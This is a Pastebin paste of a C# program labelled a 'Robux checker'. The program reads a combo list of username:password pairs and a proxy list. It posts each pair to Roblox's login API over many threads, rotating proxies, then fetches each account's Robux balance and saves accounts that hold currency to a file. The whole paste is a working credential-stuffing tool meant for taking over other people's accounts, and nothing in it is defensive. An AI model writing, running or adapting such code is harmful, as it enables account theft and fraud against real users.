Advertisement
Guest User

Simple Roblox Robux Checker

a guest
Feb 18th, 2018
576
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 5.49 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Net;
  7. using System.IO;
  8.  
  9. namespace Robuster
  10. {
  11.     class Program
  12.     {
  13.         static void Main(string[] args)
  14.         {
  15.  
  16.             const string USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.167 Safari/537.36";
  17.  
  18.             Console.WriteLine("Enter combo path: ");
  19.             string comboPath = Console.ReadLine();
  20.  
  21.             Console.WriteLine("Enter proxy path: ");
  22.             string proxyPath = Console.ReadLine();
  23.  
  24.             Console.WriteLine("Enter max threads: ");
  25.             int maxThreads = Int32.Parse(Console.ReadLine());
  26.  
  27.             string[] alts = File.ReadAllLines(comboPath);
  28.             List<string> proxies = File.ReadAllLines(proxyPath).ToList();
  29.  
  30.             object locker = new object();
  31.  
  32.             Parallel.ForEach(
  33.                 alts,
  34.                 new ParallelOptions { MaxDegreeOfParallelism = maxThreads },
  35.                 a =>
  36.                 {
  37.                     try
  38.                     {
  39.                         CookieContainer cc = new CookieContainer();
  40.                         string[] alt = a.Split(':');
  41.                         string proxy = proxies[new Random().Next(proxies.Count)];
  42.  
  43.                         string post = $"&username={alt[0]}&password={alt[1]}";
  44.                         bool isWorkingProxy = false;
  45.  
  46.                         while (!isWorkingProxy)
  47.                         {
  48.                             try
  49.                             {
  50.  
  51.                                 WebProxy proxyToUse = new WebProxy(proxy);
  52.  
  53.                                 HttpWebRequest req = (HttpWebRequest)WebRequest.Create($"https://api.roblox.com/v2/login");
  54.                                 req.UserAgent = USER_AGENT;
  55.                                 req.Timeout = 5000;
  56.                                 req.Method = "POST";
  57.                                 req.CookieContainer = cc;
  58.                                 req.Proxy = proxyToUse;
  59.                                 req.ContentType = "application/x-www-form-urlencoded";
  60.  
  61.                                 byte[] data = Encoding.ASCII.GetBytes(post);
  62.                                 req.GetRequestStream().Write(data, 0, data.Length);
  63.  
  64.                                 using (req.GetResponse()) { }
  65.  
  66.                                 req = (HttpWebRequest)WebRequest.Create("https://api.roblox.com/currency/balance");
  67.                                 req.UserAgent = USER_AGENT;
  68.                                 req.Timeout = 5000;
  69.                                 req.Method = "GET";
  70.                                 req.CookieContainer = cc;
  71.                                 req.Proxy = proxyToUse;
  72.                                 req.ContentType = "application/x-www-form-urlencoded";
  73.  
  74.                                 using (HttpWebResponse rep = (HttpWebResponse)req.GetResponse())
  75.                                 using (var reader = new StreamReader(rep.GetResponseStream()))
  76.                                 {
  77.                                     string response = reader.ReadToEnd();
  78.                                     response = response.Split(':')[1].Replace("}", "");
  79.                                     Console.WriteLine($"Account {a} working - Robux: {response}");
  80.  
  81.                                     int robux = 0;
  82.                                     if(Int32.TryParse(response, out robux) && robux > 0)
  83.                                     {
  84.                                         using (StreamWriter sw = new StreamWriter("accounts.txt", true))
  85.                                         {
  86.                                             sw.WriteLine($"{a}:{response}");
  87.                                         }
  88.                                     }
  89.                                 }
  90.  
  91.                                 isWorkingProxy = true;
  92.  
  93.  
  94.                             }
  95.                             catch (WebException ex)
  96.                             {
  97.                                
  98.                                 if (ex.Response != null)
  99.                                 {
  100.                                     using (var reader = new StreamReader(ex.Response.GetResponseStream()))
  101.                                     {
  102.                                         if(reader.ReadToEnd().Contains("Incorrect username or password. Please try again."))
  103.                                         {
  104.                                             Console.WriteLine($"Account NOT working: {a}");
  105.                                             isWorkingProxy = true;
  106.                                         }
  107.                                         else
  108.                                         {
  109.                                             proxy = proxies[new Random().Next(proxies.Count)];
  110.                                         }
  111.                                     }
  112.                                 }
  113.                                 else
  114.                                 {
  115.                                     proxy = proxies[new Random().Next(proxies.Count)];
  116.                                 }
  117.                                
  118.                             }
  119.                             catch (Exception ex) { }
  120.                         }
  121.                     }
  122.                     catch(Exception ex) { }
  123.                 });
  124.  
  125.             Console.WriteLine("\n\nFinished");
  126.             Console.ReadLine();
  127.         }
  128.     }
  129. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement